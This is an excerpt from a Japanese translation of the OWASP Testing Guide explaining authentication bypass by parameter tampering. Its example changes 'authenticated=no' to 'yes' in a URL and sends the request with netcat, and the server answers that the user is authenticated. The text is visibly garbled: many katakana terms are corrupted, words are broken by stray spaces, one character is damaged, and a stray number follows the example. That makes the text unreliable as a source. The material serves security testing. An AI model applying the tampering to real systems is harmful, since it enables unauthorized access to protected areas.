OWASP テスティングガイド

パラミータ 改 ざん
認 証 の 設 計 に 関 する 他 の 問 題 に、アプヨクーサュヱが 固 定 値 パョミーソに 基 づいてルギイヱ 成 功 を 判 断 することがあります。
それらのパョミーソを 改 ざんして、 正 しい 認 証 情 報 なしで 保 護 領 域 にアキスシしてみて 下 さい。 下 記 の 例 では、パョミーソ
「authenticated」を 値 「yes」へ 変 更 することで、アキスシに 成 功 しています。この 例 では、パョミーソは URL の 中 にありますが、
特牐 に POST のフェーマ 要 素 としてパョミーソが 送 られる 時 には、パョミーソを 改 ざんするためにプルカサを 使 うことも 可 能 です。
http://www.site.com/page.asp?authenticated=no
raven@blackbox /home $nc www.site.com 80
GET /page.asp?authenticated=yes HTTP/1.0
HTTP/1.1 200 OK
Date: Sat, 11 Nov 2006 10:22:44 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1
You Are Auhtenticated
136